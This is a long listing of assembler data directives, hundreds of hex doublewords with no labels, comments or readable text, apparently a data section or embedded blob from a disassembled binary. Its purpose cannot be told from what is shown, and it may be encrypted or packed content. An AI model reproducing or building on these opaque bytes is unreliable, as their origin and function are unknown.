dd 4351CE23h, 6FD5416Ah, 20AE31DCh, 613D822h, 0B4BD150Fh
dd 9D5B0840h, 6F894965h, 7F1909F8h, 6BE2B951h, 0C176F637h
dd 89EC11E9h, 0C5613436h, 70B201E9h, 2EEBF280h, 81CE29E4h
dd 76F0905Ah, 0FCE2E441h, 0C857A5E2h, 0C0AE083Eh, 240BA20h
dd 29144275h, 10965AD6h, 0DB496EB2h, 0B57CBC4Ah, 0BF7817EAh
dd 0F87ABBCDh, 0E7571A15h, 261C90B4h, 64FD304h, 794D7151h
dd 0BD33B600h, 0BFBE5673h, 7CA60A0Eh, 3996F201h, 3BF3DDC1h
dd 2E9931FAh, 263EA6BEh, 56C06012h, 130A7BFh, 0E781218Ah
dd 406D1CC1h, 6B93F7EDh, 0D07A1725h, 3A3504ADh, 0BE85A37Fh
dd 0F09861B8h, 11B75423h, 0DDE55C7Ch, 0FAB54AF3h, 0B6FFD235h
dd 8A3898DEh, 0B35C95CCh, 30E0574Fh, 9E5D9F5Bh, 39522FD9h
dd 3AF1D2D2h, 0A2ED8E43h, 5FB49AC1h, 1205E3C3h, 980519Ch
dd 39CE1BAh, 1E3F5B08h, 473B85B6h, 71BBEB01h, 7D1EF6C6h
dd 62F72514h, 0DA8A4212h, 2588995Fh, 0B1063E7Fh, 8144698Bh
dd 814A42B2h, 0E788F413h, 0BC979A52h, 2119C4DFh, 20A5E63Eh
dd 9184E6D5h, 0B32F1DFAh, 141D801Eh, 0C35FF328h, 0F6C68C5h
dd 0EC452A8h, 0DB9BC166h, 9F0E067Fh, 5BFA58FAh, 34EFC1FAh
dd 8129977h, 37A1585Fh, 1E340AF5h, 797A9031h, 4CE62046h
dd 33054B5h, 36840449h, 2A41C3E9h, 5580F2F3h, 0EE1710BDh
dd 83812C5Ah, 0A32883E9h, 6C2CAE5Fh, 50BE8901h, 84EF8091h
dd 6485E295h, 3CD2951Dh, 7C04F8B0h, 54B0813h, 6F1644A2h
dd 4190AF1Eh, 2C9BB041h, 260129F1h, 8B402D64h, 8180567Dh
dd 0B7AC09EBh, 85686671h, 683B5FEFh, 71315EC3h, 5C0272BBh
dd 0DEA5E2D9h, 104CC018h, 0E91825FAh, 0B8C4FFC9h, 0F75C01C4h
dd 1D363530h, 97E16F39h, 0C23D813Eh, 3B62F15Dh, 0D3C2F31Ch
dd 5578B668h, 1951D518h, 0BC62F086h, 45E2F90h, 57ACA94Bh
dd 0E916D3F8h, 0F9FDFEC5h, 183D6B84h, 2C6C0C76h, 0B2B60D2h
dd 62A1A2F1h, 7F461968h, 73820830h, 2D90984Fh, 2E932F91h
dd 84CF81D0h, 6FC76613h, 3544FF1Ch, 0EAF3490h, 9B24BD6h
dd 6478CD30h, 50665A13h, 7041CAABh, 0CBF48054h, 12277E90h
dd 0C89DFC17h, 0BA013ABEh, 9E915E8h, 1E93949h, 3F4B2D51h
dd 0CB31CE01h, 55590802h, 66B75DEEh, 382500EEh, 0EA813E3Ah
dd 922F703Bh, 0A220D92Ch, 19F620F6h, 6409FEBDh, 2B71B176h
dd 888A70AFh, 579557E6h, 0A08AE838h, 2F8CFF71h, 5F03B7E9h
dd 0DF97CE88h, 0EDC3F3E0h, 0F9760FBh, 6832E920h, 828E465Bh
dd 0F2A6A3F5h, 0C0ADD95Eh, 0B4D0EC7Eh, 686602AEh, 47757081h
dd 24B6A424h, 266D4AFAh, 0C65527C7h, 0EB60492Dh, 2884092Ch
dd 20E105B6h, 0EA296CB5h, 65EFAE3h, 5C43EB3Ch, 0E34DDEEAh
dd 0FDC22DA9h, 78DF9312h, 0F866959Fh, 0F40B0498h, 5E14326Ah
dd 0D68743B0h, 52FADAB3h, 5D669A75h, 5F7AF080h, 0F6EC2AB6h
dd 0E8CA6D0Ah, 99A78B3Eh, 0A42AFE82h, 91D296BBh, 0E2528609h
dd 0DF8FDF91h, 0E62376C6h, 0C308ECB7h, 175D686Fh, 0F3A3BF84h
dd 0EFFB5293h, 32D3869h, 91B0E817h, 2B724BD2h, 9DB190CCh
dd 50201B08h, 6817F1F7h, 36B53596h, 81F40828h, 2F59499h
dd 23D76059h, 8F639E35h, 184B3CAAh, 2C319200h, 0CC14AE4h
dd 0F12DE039h, 0B85D7830h, 9A9E900Bh, 8B0F094Eh, 0C55580D1h
dd 0F229622Fh, 0C073825Dh, 9018FF53h, 5981309Eh, 84417280h
dd 6F09C1C8h, 0A03BFF9Ch, 0B9E8A0E2h, 32C52510h, 882A6F2h
dd 0CC3A16FFh, 0D09E4B5Ah, 0C0E1C8EDh, 7A3060E5h, 2A937C54h
dd 32A6181Eh, 5D2F6D8Bh, 0AF27AFC6h, 577B92F6h, 0EB6FEEFCh
dd 46B226CBh, 0BC010F88h, 0A384DAAFh, 1420BF2Ah, 1F836ECFh
dd 0BF505B35h, 60E30A8h, 26243C6h, 0EE04F864h, 0EFB6BEEAh
dd 400B9AAh, 0E6FF6A4h, 0C10CD0ECh, 2C2A08E6h, 0AB4CF972h
dd 69F15ED8h, 8C3CEA3Bh, 24314FB7h, 1BBDBA2Fh, 5D276809h
dd 5FD5B3B0h, 72B880h, 2D4C3020h, 1F2E2BBDh, 0D4034076h
dd 5275377h, 0CD8290A6h, 5E0B9F31h, 744B8355h, 0B6AF843Ch
dd 42F611D3h, 0BDE951C2h, 0D1021074h, 778C2CE5h, 8CA498F3h
dd 0D790010Bh, 0FCD4FF1Bh, 0FFAC5E32h, 0E522FCD3h, 0DEEC0082h
dd 10F06841h, 0C8423839h, 5F4D054Ch, 0C5EF2340h, 4A6EAC3Fh
dd 3E0A99AEh, 0E909C6DBh, 0D87906A5h, 2D3E3508h, 8C0FBBC4h
dd 0EA274D5Ah, 301090E7h, 24F4892Dh, 1A92035Bh, 0F1DBD6Bh
dd 722C76E9h, 80203960h, 0D8F70D85h, 958FE940h, 2E548661h
dd 0C8C29899h, 0B8EB287Ch, 1BA060F8h, 0E9545159h, 73A1975Eh
dd 214BBF29h, 52DC9E9h, 0EED0D0ABh, 6093318h, 0D9F53154h
dd 49FE26B6h, 493FFB5Dh, 1CF721ABh, 5EF024C0h, 0C0601284h
dd 25C66878h, 4EF828E2h, 0CF5F22F8h, 6A5CE4A4h, 90E0CEEh
dd 45F7C588h, 0BED0BE52h, 47DA4103h, 90B78544h, 8F08B5CBh
dd 0D8295007h, 74492F68h, 0F5116316h, 0F7BE6D2Dh, 3E7A13A3h
dd 8ABCE360h, 9852416Eh, 7F2512Ch, 137C1A70h, 0AA1B304Eh
dd 3F080D50h, 66A14AE9h, 25C1F76Eh, 0F4144C17h, 0A3635ACCh
dd 8EB64F3Eh, 60145F27h, 800DE927h, 33D7B870h, 31112755h
dd 0ED0780DFh, 1A29F462h, 605E3C1h, 0F9EBE700h, 480720AEh
dd 0F75BD909h, 173F43Bh, 2A7C451Ah, 7F43AD89h, 437D4010h
dd 0B683A297h, 506A09CEh, 3C14C409h, 0F8F180B7h, 0ED36FE33h
dd 0F5EEA154h, 0BDD0A42h, 0E456AAE9h, 6BB99061h, 0C9DCDD93h
dd 0F644646Fh, 55511781h, 0D6E175DCh, 15C3B80Eh, 0D445A334h
dd 0DABF27E6h, 9DD9D06h, 0AD4065DAh, 944ABAFAh, 0C5823A61h
dd 6FD3F701h, 0DF333482h, 0EDCB498Eh, 0E90CC0FFh, 13D59CE7h
dd 0B4BEE889h, 0D0AEF385h, 0E9DE29A9h, 0AC804A4Bh, 0F022CD80h
dd 0A7859712h, 0E2DBEB5Bh, 0B65B1952h, 45A214C0h, 3FCC84D1h
dd 28A143B8h, 0EF835533h, 0F9AC7294h, 0D040FEF4h, 0E74433C3h
dd 0D83127E3h, 57028273h, 0F5297D68h, 5597491Eh, 1C40E314h
dd 2762BCCDh, 0B58696FDh, 2F0239B6h, 0E96E756Dh, 85F2D084h
dd 7553ADB3h, 65BB85CCh, 57212F01h, 0C358B46Ch, 5BC1CA40h
dd 6FB182E0h, 2D07E3D8h, 2FC40B6Bh, 0B86482B1h, 0C09CE32Eh
dd 0B91BF1BBh, 7EE91277h, 4B2A30Bh, 0C4D2F8D4h, 11281CC0h
dd 0B81A4BF2h, 51EC10A6h
dd 4E77EF4Fh, 8DA841E5h, 0CC32813h, 0E20627E8h, 18926815h
dd 4AA412F1h, 0DE2C0223h, 0C15A070Dh, 4F8303E1h, 80C787F3h
dd 50860E27h, 0AE800098h, 57040DE4h, 9EDCE90Ah, 2EE329AEh
dd 3E004D65h, 43633456h, 8D0F1349h, 0AF42C46Dh, 5CCE93BDh
dd 0A2C6258h, 0F86D1830h, 138DB867h, 8566E913h, 74D8FADCh
dd 31525B1Ah, 9378D22Ah, 0D16EBFFh, 915022EFh, 5F0BC4DEh
dd 0F90F095Bh, 1E5388FDh, 0D7C5625h, 7F6CDDABh, 7E041FB2h
dd 0E42C13A5h, 12BDDDA6h, 0A304F707h, 2C20AB07h, 5AA35C83h
dd 7261036h, 0FB1C8B12h, 29C54EA7h, 9604F9EBh, 5AE98BF0h
dd 21C907F8h, 0A58E75C8h, 48247CDDh, 13AA4FA3h, 4B33F40Ah
dd 34CA7710h, 0C523A9Fh, 4F5DE85Fh, 12D06AAh, 8B7D1E74h
dd 4147D3B5h, 871510E9h, 50E58888h, 465BE837h, 20A490F3h
dd 0E7811409h, 5841A538h, 307BB2A0h, 0BD1448ECh, 9C253E44h
dd 312F5635h, 5298B81Fh, 795FEEA7h, 5174029Dh, 0A37C4F8Ch
dd 5A3A4309h, 5CC0CB4h, 0BA326F5Fh, 22B03909h, 1DEC229h
dd 0F99CE908h, 4BC35981h, 40AC5F35h, 107429D1h, 76B9694Bh
dd 0CB2F0841h, 339A10ACh, 850CE916h, 1782AF16h, 40D8D152h
dd 0F9255468h, 0B1495D5Ah, 0BF07D851h, 0F8246E7h, 0DA2F5580h
dd 69853D4Dh, 8F120C3Eh, 0BF68C494h, 5494E3F3h, 1F273909h
dd 57FA7C85h, 0D8D8FEC1h, 0D742973Eh, 0AC24F7Dh, 40E0D428h
dd 36DD2F43h, 0A9D78924h, 0E9F33D12h, 0FB67929Fh, 4D94C1A2h
dd 9D3F7E01h, 0BEE3E962h, 0C2277635h, 0E8252018h, 0D01DF79h
dd 0D2F7D587h, 0DFB07F08h, 0A84DE668h, 0B7AC4BBAh, 828A75D1h
dd 1388CC36h, 22FB976Ah, 70DFC333h, 0B752B0CDh, 5D04D9D6h
dd 0DDD492E9h, 0E78EE2FFh, 41EF7D3h, 0F168E1EDh, 0F56A365h
dd 828341CDh, 0FC4ED6F7h, 0BF578087h, 6F59089Fh, 0FC7B5A97h
dd 0E02F12AEh, 0B91B87Fh, 7866FF05h, 0ED5F5AF5h, 0D29B3A9Dh
dd 2E1806D3h, 90C0657h, 0BF4A598Ch, 0AF6398ABh, 2F803FE7h
dd 0F1216DA0h, 0C1616B9Eh, 2C3A0BE9h, 445414BFh, 5C26E961h
dd 0EB8BAF03h, 0E097161Fh, 0D7665CC3h, 9125A058h, 802D1A85h
dd 0D10AD025h, 0F0DE03Eh, 8059A011h, 0A783EEC8h, 0A4C26029h
dd 0CF1465EAh, 0DAD14850h, 68F8FE61h, 69E54D7Fh, 0B86133Fh
dd 7BD4C3A2h, 31A19088h, 80F5ED16h, 0B9530534h, 49E9F37Dh
dd 5C176606h, 659A8B8Fh, 0E18DBAC4h, 4881A72Bh, 727D1255h
dd 7BEFF6EEh, 26C02B5Eh, 49BE0F66h, 0E9C4EFC8h, 0EEF8A4D1h
dd 330DCC0Ah, 0DC25C41Ah, 43EA4ABh, 0AAB748E9h, 644C3AE2h
dd 871F1814h, 951AD5Ah, 79B46DE9h, 2442AC15h, 7C9E02CCh
dd 0C1DA5DCCh, 772729F8h, 0A2E6E80Ah, 69503D27h, 81E674A5h
dd 28420C83h, 8F5E121Ch, 2D01E8B1h, 0F63B1801h, 591210EDh
dd 0CC192C1Dh, 570E4E79h, 20FC564Ch, 0CB9864h, 0BFD2B27h
dd 90C7890Fh, 963971BDh, 4F85F0CEh, 53FE8707h, 59369D68h
dd 2D422560h, 66AD3ADBh, 48262D0Ch, 1CC4EAD9h, 0F97F99A1h
dd 888B268Dh, 75E57FA5h, 0DD311A9Ah, 0D9D78C09h, 65B548BEh
dd 12E00025h, 29742BBFh, 0ABC2225Fh, 0FF99709Eh, 40538D6Ah
dd 100FDBEBh, 81E14F5Eh, 3763FD00h, 27597C6Ch, 1A80D687h
dd 51FCE94Eh, 8BEBD995h, 8348DFFEh, 0DB832A8Ah, 0BFCD5B3Ch
dd 6B017653h, 76CA3DE1h, 162D5330h, 791B40h, 2E8238C9h
dd 0CB0901F0h, 0F488AAE9h, 8CF4A65h, 0FD2530E7h, 0E204581Ah
dd 5E90F8ADh, 1C5BACD8h, 257CF068h, 5DFE577h, 1555DEBh
dd 0A04E7194h, 91F08047h, 0E90C6D20h, 4E259A04h, 5997BE5Eh
dd 2BC51567h, 0B3984A80h, 0CEC6067h, 3E9C61C2h, 0FEFE012Dh
dd 0D0C249CCh, 0A997B9DDh, 0A8B6C46Bh, 25AC5EACh, 5BD806B2h
dd 5E4B4B76h, 0CEB1E1B8h, 7EE22B59h, 4C21AE4Fh, 222ED8B9h
dd 52725A13h, 98D2A951h, 0C192D976h, 343718D2h, 0F63E0C06h
dd 0C25FBB25h, 0C0F45776h, 683C3802h, 5B07562h, 4EBF4EF4h
dd 86682C6Ah, 946CE59Ah, 20E0F1A8h, 5B80151Ah, 1FB57951h
dd 1666CD80h, 5D1B80ACh, 5BF85356h, 87D3F712h, 270017ACh
dd 0E90BCB6Dh, 0C0CBFA1Bh, 0FEF1F233h, 30761626h, 0B91AFBC3h
dd 2229F7C8h, 0C7D11940h, 0FF74695h, 16266AEDh, 0C82BD7A5h
dd 917D946h, 91006D4Fh, 7D392DB9h, 0E71367E9h, 5A11B380h
dd 3585E0C9h, 2A28DDCBh, 0C3E17AD9h, 0B1A0D67Ch, 3D25E90Fh
dd 0FF34222Ch, 2C1C5E91h, 58360E41h, 0E2E915C2h, 0BE0B9158h
dd 3A4E2Ch, 2D0CF6DBh, 31644877h, 0BCC0EE4Ah, 0B507CAE9h
dd 9095CD44h, 91F57642h, 0D410DC1h, 0BFE87EFBh, 3F63888Bh
dd 6854C9A0h, 0CB0A8A0Fh, 9546A464h, 1542B68Dh, 961E453h
dd 1716607Fh, 7B02E671h, 0F5ED1D66h, 18D7CB8Bh, 840C8ABEh
dd 82B63AFEh, 28D5B500h, 0B75966EAh, 0CBDBA460h, 0E32B5E81h
dd 7E2D7CAFh, 5BAC7418h, 0E9F808EAh, 28BA335Ah, 0D76F3E35h
dd 5EF003FCh, 0BC29C29h, 1D2FD65Bh, 95CD8955h, 445F1455h
dd 34C7114h, 325ACC67h, 2E99414Ah, 0ACFCDE4h, 57E254B8h
dd 728704C8h, 4CA3B0B5h, 6D0C7B71h, 0C1E321E9h, 0AA02EEE6h
dd 41D50BC9h, 73D127B2h, 8770CA5h, 0D33FA933h, 3E571681h
dd 0FB538BF6h, 2A55BC4Fh, 0A6A110E6h, 0BD856E48h, 66A4020Bh
dd 0FB681236h, 0FECB350Fh, 7D4801B3h, 776AC305h, 6F82EA67h
dd 7C8B5D82h, 9E23257h, 8C7E00C6h, 2746250Ah, 0C477E7D1h
dd 26FD95CAh, 0FA25845Bh, 0F75F4EFDh, 5F3C3AD7h, 7EA63FBDh
dd 486C80B5h, 1F602025h, 1740525Dh, 81F8C04Ch, 263FDACAh
dd 0F2007682h, 1A591075h, 0BD2B33E9h, 55438EC8h, 4B273EB2h
dd 6E50D9B5h, 0C675E4CBh, 0DB15287Bh, 6AFAB5D4h, 47C525F2h
dd 37FCD528h, 5F92E83Dh, 0FD334EF1h, 0BBC4A2E5h, 0FDD7C68Ah
dd 42AB882Ch, 0C96AD5E4h, 2820D65Dh, 168000D7h, 47E92272h
dd 6E95FEE7h, 4E5FB06Dh, 881189A4h, 27C26F12h, 0E5020C56h
dd 7F952A5Eh, 95B0960h, 0C365030h, 60D12319h, 3FB46816h
dd 4E906C97h, 0A00F2E98h, 0C163271Eh, 52861E1h, 117E92Eh
dd 6A933194h, 4F61C141h, 979911C8h, 8287BB59h, 0CFE4C3FEh
dd 0D14788EEh, 1AD0284Fh, 48836D0Ah, 17386048h, 4B8AFA4Eh
dd 0E70EA4Ah, 0C95AE1E9h, 32FF2168h, 0CD227FA5h, 1C11919Dh
dd 80FBDB30h, 584EC388h, 0C503C3ABh, 895A5BB1h, 2EC28F4h
dd 7C16DE95h, 0D82F9C5Bh, 30B0920Ah, 2918A912h, 0DE312EF5h
dd 4B688120h, 3B1F2923h, 0EEF61CC1h, 0ECACBF04h, 0DE1A0F96h
dd 0F8E49DC4h, 69C2B4DAh, 0DD9668CDh, 6F88340Fh, 1339C01Dh
dd 34A86E9h, 738F74C8h, 5EA2F647h, 290A93B5h, 56970CE6h
dd 0C83528Fh, 7D48BDD0h, 0A73E1DC7h, 35C5D7E7h, 8FBB5B92h
dd 0B445A96h, 5700D4DDh, 0AB5B6968h, 0BB5F1F0Dh, 0F22F0D6Dh
dd 0CEE93E12h, 0D9E09912h, 4E3A125Ah, 24F6BE53h, 938C463h
dd 3BB96602h, 400F0151h, 0E3A2139h, 0C1496F32h, 25D05EFh
dd 64413F50h, 444E7FE4h, 0E62F38E1h, 50BC96C5h, 1C290B97h
dd 514A86D0h, 9400B3B6h, 0C1745D62h, 119D03E0h, 126FBC00h
dd 5087605Ch, 0B341468h, 0A0AFBEBFh, 5ECB55A5h, 0E319A036h
dd 2F870FF8h, 0D0790BDFh, 3A521892h, 0AAB598BCh, 7039C402h
dd 0B9F3DF7Dh, 6EDC186h, 180B09EAh, 0E800481Dh, 95B273ECh
dd 0EAFD60B5h, 0EC2FE11Ah, 1246B107h, 4013CE6Ah, 5971BED0h
dd 7B902379h, 8CB8103h
dd 0B067BC22h, 40B39F3h, 0E99366B8h, 0EE74B4BBh, 84353106h
dd 90E4674h, 4CDD1B8Ch, 2C102FF6h, 64E0680Bh, 7A41437Ah
dd 0BF1A45FCh, 0A7C9915Ch, 0C3445358h, 0E9A6F4ABh, 71427A32h
dd 0ED565DC2h, 521F1A2Ch, 0F515E889h, 0DE40AB3Ah, 5B818891h
dd 0ED681D3Fh, 4C774442h, 0D06E9D90h, 0D9B05D7Fh, 0D99263EAh
dd 81565A49h, 0FA87D7F7h, 58C9A4CBh, 951A9664h, 76BFC2F8h
dd 2BF953BBh, 20BD6EF5h, 8903EB1Eh, 0DFF694C0h, 0A513DA60h
dd 49E0FAFCh, 0E940582Fh, 0CC629D0Eh, 3EC0F3FFh, 92FD9FA4h
dd 876E9758h, 0E4647476h, 523EDA97h, 8608D05Fh, 6E922508h
dd 2638B401h, 1C85100Ch, 5D2B2C20h, 0BB209A5Eh, 5445DB02h
dd 62EE0142h, 4A1CD8EDh, 9178EF53h, 9C6BE90Ch, 1D25E97Fh
dd 0E2565930h, 2C03FD14h, 77D99267h, 68A5787Ch, 824AB471h
dd 2F674D7Fh, 0E1A9B4DFh, 1910CB62h, 0C6800BD2h, 8525601h
dd 0BF01D1A5h, 44066D6Ch, 24047770h, 3A19877Fh, 887E094Eh
dd 3000457Dh, 0D8E9C9CCh, 0DD1184Ah, 0F07FD5B4h, 0B94AB383h
dd 41CFD1E0h, 9EA17EF1h, 0D7255FE2h, 0FAE1AA05h, 4E48CF22h
dd 5B8F2F10h, 0EF4F34B8h, 5AC78C56h, 0DE6F2282h, 0CD2DB91Fh
dd 0B6042114h, 11ED809Eh, 76E1B484h, 18CAD7Eh, 2D774D79h
dd 3560D2F7h, 0E5EDBF28h, 0DBE90DB0h, 0E5F9BFC6h, 8770CFEDh
dd 2BDD9D5Dh, 53B00E3Bh, 8BF91A1h, 47E02A2h, 573EF5B8h
dd 0D321823Dh, 56E849E9h, 85F9E971h, 2613DE3Dh, 4B829BAh
dd 0E729FFECh, 48D6DE02h, 0E45B661Ch, 709F2568h, 0D580DA72h
dd 0E45CC06Bh, 16C6187Bh, 25685670h, 9EDE794Fh, 1B14572h
dd 783C2ABBh, 398C7E12h, 1381F853h, 0EA45F358h, 0B23F77B5h
dd 39AEC4BCh, 18B05F0Ah, 6853E0D3h, 0D903F709h, 3FAE8432h
dd 1057A912h, 0BA000B17h, 2FF930E8h, 6E390405h, 8D01F54Fh
dd 112A310h, 7422DD0h, 6FFB8055h, 980CC54Bh, 1EEF0EB8h
dd 0CAC0615Eh, 549D4CEDh, 2348FBDh, 5071220Ch, 0DD0802C4h
dd 0D589E53Eh, 5D2707D2h, 0C228DE3Dh, 6FEC3883h, 0B06AAB25h
dd 0A01058C8h, 0D7D0567Ah, 2289FBE8h, 0A34BBD7Ah, 0B74CFED6h
dd 78E225F6h, 806C5EF7h, 23CC3A7Dh, 812E4B8h, 0C2F00A37h
dd 6DEA0681h, 0FA1AC650h, 56078D09h, 5F28D775h, 21C3408h
dd 2942E914h, 4120C5E4h, 0F7013E6Eh, 0BEE4689Ah, 87B9395Ch
dd 7EA06660h, 71EEEB60h, 0FC314ABFh, 9B049EE8h, 0DDFB6F72h
dd 5F283093h, 54E13A02h, 57308C0Fh, 5B5F5642h, 3C3D0ED0h
dd 56C8A210h, 1C22748h, 584AFE55h, 0F1B55FFEh, 0F855E940h
dd 14FC5B36h, 0DD108EE4h, 3F20492Eh, 0A7979A0Ah, 611EC2FBh
dd 0AEF82711h, 0D5F72553h, 2902EB70h, 8EE96F08h, 9A54DC22h
dd 0D977CDD9h, 32E961C2h, 7377C226h, 455FA5F7h, 0A1B41297h
dd 2BB73E2Dh, 8377FED3h, 48650306h, 2895DEAh, 0C15EC3A3h
dd 1B530E30h, 65596858h, 900C3B60h, 0FD8A0F3Fh, 4B776D92h
dd 60CF8112h, 8C9E28EAh, 9806940h, 585343EBh, 0BBDDA57h
dd 0F51035B9h, 89C9A480h, 198196Dh, 17AE8B5Ah, 7990E879h
dd 16E68817h, 4D1438AAh, 2F8B2240h, 5B5C5ADFh, 319655CBh
dd 59E8E8BDh, 1D66B5EBh, 0C2FAF6B8h, 1E4DBF80h, 8B3F1073h
dd 0ABF15626h, 0AD685200h, 0B0607A2Ah, 28CB2740h, 5C92C859h
dd 0E84BCDECh, 901B827h, 81F2E9FDh, 4DFE5CA9h, 4E5420BEh
dd 6BCBBB5Ah, 920E840h, 29719060h, 0EC71D23h, 95C2F93Bh
dd 3C879A0h, 91EDB9EAh, 2581EDD7h, 0D1AE3585h, 0CB2EA810h
dd 4370CEE8h, 305DFA19h, 0E6EC7D2h, 0EF6403F4h, 4F3CE02h
dd 17079FFh, 0A1D31CECh, 0DB06403Dh, 0A4A0F006h, 65B53DD1h
dd 4E680450h, 8512167Fh, 605A5A49h, 58940A7Ch, 825B5629h
dd 0E34051BCh, 1C7A3021h, 17A7B958h, 3AF83F0h, 338C0DCEh
dd 1AEE0C5Eh, 52E23A74h, 0A1692285h, 3E3B314Bh, 0A3AF0B12h
dd 665E1297h, 0C2251F5Dh, 9072C09Eh, 122D80EAh, 5A0351Ch
dd 84258F40h, 0F9E82975h, 11DA0747h, 44A35D16h, 0EB5909Fh
dd 6BF70DBAh, 5A8EF8F2h, 0DDE311C3h, 2A11810h, 0EE7D04BBh
dd 71A48032h, 1653D878h, 0AA9C860Fh, 8468F5D0h, 0C2FB4B3Ch
dd 8CAE762h, 0E97818FCh, 0DDF75A51h, 6C05ED63h, 55560BAEh
dd 364D8168h, 907A5D62h, 0AE268581h, 43DAD39Dh, 0C262F7F6h
dd 1B2B72Ah, 3AF1FDE9h, 169249A3h, 745ABECDh, 80C6D70Ch
dd 3E8CF1B5h, 0D698FC5Ah, 89A45CBEh, 752929BEh, 0E517D7FCh
dd 0FF5887E1h, 0F04889h, 0FA98FC35h, 0FD4B6ECBh, 80518BCAh
dd 463DB44Dh, 4B91B85Bh, 7F24AB9Eh, 0C93F62ABh, 293B89D0h
dd 305596EAh, 0A802FB25h, 7C08DE68h, 0C2E662D7h, 65B25201h
dd 0E23A077Eh, 57813FBFh, 7ABDF8E9h, 6A0206E3h, 3163F47Ah
dd 8420E25Bh, 180E490Bh, 98630826h, 94B00820h, 3B34D327h
dd 0DACD978h, 4A780B23h, 3A14B174h, 0C61E89Ah, 517B99E9h
dd 885B1AE0h, 13194F4Dh, 2046AB5Ah, 675BE41h, 847B42C2h
dd 8C020C38h, 1B2272Ch, 0B6D2D7D6h, 3FF5520h, 80359AB8h
dd 92294869h, 22A7807Bh, 81D46CBDh, 525FB1B3h, 953F07E0h
dd 4B010A24h, 6197521h, 2BA52535h, 23CB99ADh, 0D3572B42h
dd 0E6AC24h, 47AE7FEAh, 0B8E9820Fh, 52E6DA3Ch, 1C62A2C9h
dd 60529AD5h, 0B073B541h, 5FD9BD71h, 3A8018BCh, 246BBE10h
dd 132F8128h, 0E731B4B2h, 37526C04h, 54C14F75h, 0B96A400Bh
dd 7A1AB3F5h, 27D22FA3h, 458917F9h, 4B0BFA70h, 0C40DFC14h
dd 0F12114Dh, 6BE025EFh, 76557535h, 90BC7B5Bh, 68A3B04Fh
dd 4784285Ah, 9789A6BAh, 0C39E8AD1h, 30A64669h, 38DAB800h
dd 70D6A63h, 5E6C13Eh, 0DE710C4Eh, 134A682h, 41CC5655h
dd 0E6FEFB81h, 3635042Bh, 168BFFA0h, 0A2F389CFh, 0CAB9C623h
dd 0AD350724h, 0A3D468F5h, 5A273C63h, 0AEACA659h, 0BF5A9F33h
dd 0D41C8E90h, 152EF9Ch, 2729FEB4h, 617E173Ch, 0D8DDE941h
dd 5C834128h, 0C2C3E39h, 1A168DC5h, 0B5930A0h, 71E9C331h
dd 27906C70h, 22CC801Ch, 0C035ECC7h, 0C4FE0731h, 4073876Bh
dd 58E32802h, 0F3F0D3F0h, 0D80B4F78h, 0F0BB045Bh, 0A7FA22C9h
dd 68D8C08Bh, 0AFA2C21h, 0FEB8095Eh, 44372BC5h, 0AF65E086h
dd 890398h, 1B753C2h, 1BB15150h, 0FED1F60Ah, 0F416C1C1h
dd 4BA07254h, 0B171D1BEh, 43468D48h, 0BAE87D54h, 8E9183h
dd 174F6DB7h, 0F890DA29h, 1C5F0883h, 0ECB312FBh, 0AC9FB103h
dd 6846206Fh, 0F2E1873h, 0E019846Dh, 0C12ED0D3h, 9D4803F9h
dd 6889D10Eh, 0D5E4FD30h, 0D33F4598h, 0D50F2D16h, 0E9065F21h
dd 15126BADh, 3E65204h, 0E74893C0h, 1FA13EBh, 0B0E8E8F7h
dd 2F5B5FF9h, 0F341FBE9h, 0A0986E66h, 0B80D4A27h, 8D24DDD2h
dd 5172029Eh, 54D35551h, 0A75BE904h, 0EFD247E9h, 0AC9677E2h
dd 0EF445BF0h, 5301AA2Ch, 89176D68h, 5D0EB94Dh, 0F01CC118h
dd 0D886E6C7h, 7BB181F4h, 14CFB22Eh, 0CB972ABAh, 0BF52C854h
dd 4338066h, 0E03E797h, 1E15B568h, 5C8F2D78h, 386BF845h
dd 95CA2136h, 90A0B9F1h, 8BA55659h, 570E0989h, 29469CEEh
dd 0F597A34Ch, 12753490h, 7455669Fh, 341C8BBFh, 0CC87D988h
dd 0EC655059h, 0BFFED5FFh, 3DF59500h, 4AE1E951h, 1022FABEh
dd 13897467h, 8DCEFF5Bh, 2D5F523Fh, 0AD583487h, 0BFCA549h
dd 0DC9C6876h, 0B04CC4A8h, 8224BE39h, 263D6E78h, 71A06D3Fh
dd 80DB5020h, 2E4C3086h
dd 2F3B923h, 495E1232h, 0EB63E155h, 4E810844h, 0FB059DB2h
dd 5447BCA4h, 6015C132h, 0C58160D9h, 0E52653C3h, 8E02D636h
dd 0DF31B73Eh, 6081A28h, 32D604E9h, 0BE665607h, 744B1AB2h
dd 63582D6Dh, 0B1223C9Ah, 0F7D29F4Dh, 0E9646505h, 62FD8573h
dd 804FF55Bh, 8637EB0Ch, 90C70174h, 629909DCh, 0C2D41D8Ch
dd 0B37FD58h, 79E9502Ah, 0EB2CC85Ah, 21090E05h, 0DF9ED5B1h
dd 58295020h, 67121A43h, 992DAAC2h, 18854CD5h, 0EE5A5E57h
dd 0E72C56E3h, 3C762D3Dh, 77E1F6C2h, 94425754h, 97D45D01h
dd 7DC6D2E2h, 6AE51018h, 2016669Fh, 5201B96Bh, 6405BB53h
dd 0C0B81022h, 56B61F01h, 7D027EE9h, 1AD60289h, 7EF75FCCh
dd 0FE03189Bh, 22D01EB9h, 60AA0ED9h, 0CAE94206h, 21FD4ECEh
dd 81C237A9h, 0BFBD0419h, 11F93BCh, 0C75E0DE8h, 0F2EC2B42h
dd 0F22960E9h, 0B7CF0180h, 0FA960D45h, 3AB82813h, 0E771AB5Bh
dd 5DC238E0h, 0FC0B7DCh, 0B2ED2E8Bh, 755C2647h, 1ABCA884h
dd 0E5D1885Ah, 540F5E75h, 56B65495h, 9FA8BB20h, 69FC04C2h
dd 5AE7F525h, 89EB73A5h, 0D0D04EE9h, 2C9ECB6h, 557950A2h
dd 72FCCE98h, 32EE3BFFh, 63694D4Fh, 2EBF715Dh, 69CF1B98h
dd 0D676FF3Bh, 0FF22CA2Fh, 14F7C6C2h, 786C20AAh, 4BF46813h
dd 22CB3D61h, 0E78F258Bh, 1933B6D5h, 22D9D8E9h, 0A9616E5Ch
dd 3B817ABCh, 0CF79CDF1h, 21EB400Eh, 1A58752Fh, 82BD2250h
dd 405EC09Fh, 0E1888090h, 5975CEE4h, 0B0A0F74Ch, 95B2B0E9h
dd 7520FFE6h, 0F8312592h, 807DE57Dh, 7C4FD1C6h, 40ED0103h
dd 0F47B0BD3h, 0C50F2A98h, 38CC1B20h, 32B9A60Ch, 0D3FED9BBh
dd 951794F5h, 6818FE16h, 0BB9D4031h, 3A3EBCFEh, 0E4A8480h
dd 68B95157h, 3D0A4812h, 9AE4300h, 4C0156A8h, 841D0CBh
